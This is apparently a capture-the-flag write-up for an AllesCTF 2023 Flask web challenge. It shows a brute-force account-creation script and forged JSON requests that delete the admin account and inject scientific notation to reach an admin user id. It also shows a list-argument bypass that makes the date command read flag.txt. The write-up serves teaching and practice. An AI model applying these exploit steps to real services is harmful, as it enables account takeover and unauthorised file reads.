Tags: python3 javascript web node.js python cracking
Rating:
# AllesCTF 2023
## Cybercrime Society Club Germany
A Python Flask web challenge, with the flag in the same directory as the app.
![screenshot of the home page of the challenge website with options to login and sign up](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/homepage.png)
Looking at the files, it stores user data in a json file, and judging by `admin.html`, it seems like there is an admin dashboard for privileged users.
![file structure of the challenge source code](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/challenge_file_structure.png)
### Users
The json store for users' data is controlled by the `UserDB` class in the `Userdb.py` file. It handles the logic for creating a new user, authentication, changing the email address, etc. For example, here is the admin authorisation method:
`Userdb.py`
```py
def is_admin(self, email):
user = self.db.get(email)
if user is None:
return False
#TODO check userid type etc
return user["email"] == "[email protected]" and user["userid"] > 90000000
```
To pass this check, the user has to have the admin's email and the user id has to be greater than 90 million.
### Admin dashboard
Speaking of the admin, the user database is initialized with the admin account, whose user id is set to `90,010,001`, and password to a random uuid (not bruteforceable).
`app.py`
```py
userdb = UserDB("userdb.json")
userdb.add_user("[email protected]", 9_001_0001, str(uuid()))
```
The admin dashboard html file only contains a form...
`templates/admin.html`
```html
<form>
<form action="/admin">
<label for="cmd">cmd:</label>
<input type="text" id="cmd" name="cmd" value="date">
<input type="submit" value="Submit">
</form>
</form>
```
...the results of which are sent to an API endpoint.
`templates/admin.html`
```html
<script>
// [...]
function handleSubmit(event) {
event.preventDefault();
const data = new FormData(event.target);
sendToApi({
"action": "admin",
"data": {
"cmd": data.get('cmd')
}
});
}
// [...]
</script>
```
The API code is also located in `app.py`. It looks like it passes the form input to `suprocess.run()`, executing the command ([python docs](https://docs.python.org/3/library/subprocess.html#subprocess.run)) and returns the output of the command to the admin dashboard. Looks like the solution might be a reverse shell.
`app.py`
```py
def api_admin(data, user):
if user is None:
return error_msg("Not logged in")
is_admin = userdb.is_admin(user["email"])
if not is_admin:
return error_msg("User is not Admin")
cmd = data["data"]["cmd"]
# currently only "date" is supported
if validate_command(cmd):
out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
return success_msg(out.stdout.decode())
return error_msg("invalid command")
```
However, the `validate_command` function quickly shows us we don't have many options for commands to pass. It won't be as easy as `cat flag.txt`. Let's think about that later, we first need to figure out if it's even possible to gain admin privileges, for which we probably need an account.
`app.py`
```py
def validate_command(string):
return len(string) == 4 and string.index("date") == 0
```
### Creating an account
Creating an account wasn't an obvious task.
![screenshot of the sign up page with fields: email, password, group dropdown, user id, and activation code](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/signup.png)
When submitting user details, the provided activation code is checked, and the account is created only if the check passes.
`app.py`
```py
def api_create_account(data, user):
dt = data["data"]
email = dt["email"]
password = dt["password"]
groupid = dt["groupid"]
userid=dt["userid"]
activation = dt["activation"]
if email == "[email protected]":
return error_msg("cant create admin")
assert(len(groupid) == 3)
assert(len(userid) == 4)
userid = json.loads("1" + groupid + userid)
# print(dt)
# print(userid)
if not check_activation_code(activation): # <---- HERE
return error_msg("Activation Code Wrong")
# print("activation passed")
if userdb.add_user(email, userid, password):
# print("user created")
return success_msg("User Created")
else:
return error_msg("User creation failed")
```
The verification first waits for 20 seconds (to supposedly discourage bruteforcing) and then checks if the activation code provided contains a random 4-digit number.
`app.py`
```py
def check_activation_code(activation_code):
# no bruteforce
time.sleep(20)
if "{:0>4}".format(random.randint(0, 10000)) in activation_code:
return True
else:
return False
```
Fortunately, there is no limit on the length of the activation code we can provide in the form. Giving a long activation code made up of digits 0-9 increases the odds that a random 4-digit number will be contained in it. I thought about using a superpermutation ([Wikipedia](https://en.wikipedia.org/wiki/Superpermutation) or [Greg Eagan's article](https://www.gregegan.net/SCIENCE/Superpermutations/Superpermutations.html)) to ensure the check always passes. But the quick and dirty solution of using a long activation code and trying it a lot in 20 threads at a time worked well enough. Here's the script I used:
`exploit/make_account.py`
```py
import requests
import random
import threading
base_url = 'https://5ae393509ccec98005d31b00-1024-cybercrime-society-club-germany.challenge.master.camp.allesctf.net:31337'
userid = '8476'
groupid = '001'
email = f'[email protected]'
def make_account(email, password, groupid, userid):
# create a long activation code
activation = '1234567890135791246801470258136959384950162738'
activation += str(reversed(activation))
url = f'{base_url}/json_api'
response = requests.post(url, json={
'action': 'create_account',
'data': {
'email': email,
'password': password,
'groupid': groupid,
'userid': userid,
'activation': activation
}
})
# return None if and only if the account wasn't created
result = response.json()
if 'return' in result:
if result['return'] == 'Error':
if 'message' in result and result['message'] != "Activation Code Wrong":
print('\nUnexpected error in response:', response.text)
return None
else:
return result
return None
print(f'Making account with userid {userid} and email {email}')
found = False
def attempt():
# try to create an account 10 times
# (each try takes 20 seconds)
global found
for try_number in range(10):
if found:
return
result = make_account(email, '1234', groupid, str(userid))
if result is not None:
found = True
print('*', end='', flush=True)
else:
print(try_number, end='', flush=True)
# run one attempt in each 20 threads
num_threads = 20
threads = []
for num_thread in range(num_threads):
thread = threading.Thread(target=attempt)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
if found:
print('\nSuccess!')
else:
print('\nFailure')
```
It took about a minute to create the account, the output of the program was:
```
$ python3 make_account.py
Making account with userid 8476 and email [email protected]
0000000000111111111122 2222222233*333333344
Success!
```
I could then log in to an account with the email [email protected] and password 1234.
![screenshot of the login page with email and password filled in](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/log_in_as_user.png)
### We're in (not in the cool way yet)
Logging in, we're presented with the user home page.
![screenshot of the user home page with links to account settings and to log out](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/normal_user_home_page.png)
Here's the settings page:
![screenshot of the settings page with an interface to change the email address or delete the account](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/account_settings.png)
Now that we're here, let's take a look at what the API can do for us.
`app.py`
```py
actions = {
"delete_account": api_delete_account,
"create_account": api_create_account,
"edit_account": api_edit_account,
"login": api_login,
"logout": api_logout,
"error": api_error,
"admin": api_admin,
}
@app.route("/json_api", methods=["GET", "POST"])
def json_api():
user = get_user(request)
if request.method == "POST":
data = json.loads(request.get_data().decode())
# print(data)
action = data.get("action")
if action is None:
return "missing action"
return actions.get(action, api_error)(data, user)
else:
return json.dumps(user)
```
We already know the `create_account` and `admin` actions. The actions `login`, `logout`, and `error` don't offer anything interesting for our purpose. The remaining ones are:
- `edit_account`
- `delete_account`
#### `edit_account`
The `edit_account` action is used by the form for changing the email address of the logged in account (screenshot above).
`app.py`
```py
def api_edit_account(data, user):
if user is None:
return error_msg("not logged in")
new = data["data"]["email"]
if userdb.change_user_mail(user["email"], new):
return success_msg("Success")
else:
return error_msg("Fail")
```
`Userdb.py`
```py
def change_user_mail(self, old, new):
user = self.db.get(old)
if user is None:
return False
if self.db.get(new) is not None:
print("account exists")
return False
user["email"] = new
del self.db[old]
self.db[new] = user
self.save_db()
return True
```
The only checks in place are to see if the logged in user's email exists in the database and if the new email isn't already used by another user. Note that it doesn't prevent changing the user's email to the admin email. That is, if the admin's email, or entire user, doesn't exist in the database... Maybe we can delete the admin account?
#### `delete_account`
`app.py`
```py
def api_delete_account(data, user):
if user is None:
return error_msg("not logged in")
if data["data"]["email"] != user["email"]:
return error_msg("Hey thats not your email!")
# print(list(data["data"].values()))
if delete_accs(data["data"].values()):
return success_msg("deleted account")
```
Here, the validation checks if the logged in user's email matches the email in the request. But then it passes all `data["data"].values()` for deletion. This means that the check happens only on `data["data"]["email"]`, so if we provide another key-value pair in the request in `data["data"]`, its value will be passed to `delete_accs(data["data"].values())` too.
`app.py`
```py
def delete_accs(emails):
for email in emails:
userdb.delete_user(email)
return True
```
`Userdb.py`
```py
def delete_user(self, email):
if self.db.get(email) is None:
print("user doesnt exist")
return False
del self.db[email]
self.save_db()
return True
```
### Let's become the admin
There is no protection against providing the admin's email address.
Let's use this finding to to delete the admin account.
#### Deleting the admin account
Let's go to the Settings page again, turn on network monitoring in Firefox, and click submit on "Change Email".
![screenshot of the settings page with an interface to change the email address or delete the account](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/account_settings.png)
The request was:
```json
{"action":"edit_account","data":{"email":"[email protected]"}}
```
and the response:
```json
{"return": "Error","message": "Fail"}
```
(we got an error because our email already exists in the database).
We can then right click on that request, choose "Edit and resend", and change the request to delete the admin account. This will also delete our account, so we only have one try at this (without bruteforcing another account).
Request:
```json
{"action":"delete_account","data":{"email":"[email protected]", "other_email": "[email protected]"}}
```
Response:
```json
{"return": "Success","message": "deleted account"}
```
#### Becoming the admin
Now that the admin account has been deleted from the database, we can create a new account with a dummy email (account creation prevents using the admin's email), and then change the account email to the admin email in the settings.
However, there is one caveat. Here's the admin authentication code from `UserDB` I referenced at the beginning:
`Userdb.py`
```py
def is_admin(self, email):
user = self.db.get(email)
if user is None:
return False
#TODO check userid type etc
return user["email"] == "[email protected]" and user["userid"] > 90000000
```
Our new user's `userid` needs to be greater than 90 million. Let's see the account creation code again, but only the parts relevant to the user id.
`app.py`
```py
def api_create_account(data, user):
# [...]
groupid = dt["groupid"]
userid=dt["userid"]
# [...]
assert(len(groupid) == 3)
assert(len(userid) == 4)
userid = json.loads("1" + groupid + userid)
# [...]
if userdb.add_user(email, userid, password):
# [...]
```
1. `groupid` comes from the request and it needs to be 3 characters long
1. `userid` also comes from the request and it needs to be 4 characters long
1. they are both used to create the database user id with `json.loads()`
1. which is used to add the user to the database
The weird way of creating the user id with no other validation...
```py
userid = json.loads("1" + groupid + userid)
```
...means we can try using those fields to create valid json parsing to something greater than 90 million.
Setting `groupid` to `000` and `userid` to `0000` is not enough - that would evaluate into only 10 million.
```py
>>> json.loads('1'+'000'+'0000') > 90_000_000
False
```
Fortunately, json allows scientific notation for numbers. I tried setting `groupid` to `e10` and `userid` to four spaces (whitespace is ignored) and it worked.
```py
>>> json.loads('1'+'e10'+' ') > 90_000_000
True
```
Now I only need to modify the account creation code above to use those values and run it again.
```
Making account with userid and email [email protected]
000000000000000000001111111111111111111122222222222222222222333333333333333333334444444444444444444455*5555555555555555566
Success!
```
![logging in with the newly created account](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/future_admin_account_login.png)
Logging in still shows the normal homepage - our email ([email protected]) is still not the admin email ([email protected]).
![screenshot of the user home page with links to account settings and to log out](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/normal_user_home_page.png)
We should be able to change the email address in the settings.
![screenshot of the user settings page, changing the email address to the admin's email address](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/future_admin_email_after.png)
Clicking submit brings us back to the home page, but now we have the link to the admin page.
![screenshot of the user home page with links to account settings, to log out, and to the admin dashboard](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/admin_homepage.png)
### We're in
The admin page has a field for the command and a submit button.
![screenshot of the admin dashboard with a command text field and a submit button](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/admin_dashboard_date.png)
As we saw earlier, the command is validated to only allow the `date` command.
`app.py`
```py
def api_admin(data, user):
if user is None:
return error_msg("Not logged in")
is_admin = userdb.is_admin(user["email"])
if not is_admin:
return error_msg("User is not Admin")
cmd = data["data"]["cmd"]
# currently only "date" is supported
if validate_command(cmd):
out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
return success_msg(out.stdout.decode())
return error_msg("invalid command")
```
`app.py`
```py
def validate_command(string):
return len(string) == 4 and string.index("date") == 0
```
However, nothing prevents us from passing a list of 4 values, the first being `date`.
```py
>>> def validate_command(string):
... return len(string) == 4 and string.index("date") == 0
...
>>> validate_command(['date', 'a', 'b', 'c'])
True
```
The way `subprocess.run(args)` works, if `args` is a list, the first element is going to be the command that's executed, and the remaining ones are given used as commandline arguments for it. We still can't cat the flag.
I needed to read up on the `date` command, to see if I can find any parameters to pass that would reveal the flag, and I found the solution.
First, we can make `date` take input from a file with `-f filename`. But that only uses up 3 elements. I needed a flag that doesn't need any arguments, and found `-u`.
```
$ date --help
Usage: date [OPTION]... [+FORMAT]
or: date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]]
Display date and time in the given FORMAT.
With -s, or with [MMDDhhmm[[CC]YY][.ss]], set the date and time.
Mandatory arguments to long options are mandatory for short options too.
-d, --date=STRING display time described by STRING, not 'now'
--debug annotate the parsed date,
and warn about questionable usage to stderr
-f, --file=DATEFILE like --date; once for each line of DATEFILE
-I[FMT], --iso-8601[=FMT] output date/time in ISO 8601 format.
FMT='date' for date only (the default),
'hours', 'minutes', 'seconds', or 'ns'
for date and time to the indicated precision.
Example: 2006-08-14T02:34:56-06:00
--resolution output the available resolution of timestamps
Example: 0.000000001
-R, --rfc-email output date and time in RFC 5322 format.
Example: Mon, 14 Aug 2006 02:34:56 -0600
--rfc-3339=FMT output date/time in RFC 3339 format.
FMT='date', 'seconds', or 'ns'
for date and time to the indicated precision.
Example: 2006-08-14 02:34:56-06:00
-r, --reference=FILE display the last modification time of FILE
-s, --set=STRING set time described by STRING
-u, --utc, --universal print or set Coordinated Universal Time (UTC)
--help display this help and exit
--version output version information and exit
```
The original request was:
```json
{"action":"admin","data":{"cmd":"date"}}
```
And the response was:
```json
{"return": "Success", "message": "Wed Aug 16 21:24:36 UTC 2023\n"}
```
Using the "Edit and resend" tool in Firefox again to change the request:
```json
{"action":"admin","data":{"cmd":["date", "-f", "flag.txt", "-u"]}}
```
Produces to this response:
```json
{"return": "Success", "message": "date: invalid date \u2018ALLES!{js0n_b0urn3_str1kes_ag4in!}\u2019\n"}
```
Which finally gives us the flag:
```
ALLES!{js0n_b0urn3_str1kes_ag4in!}
```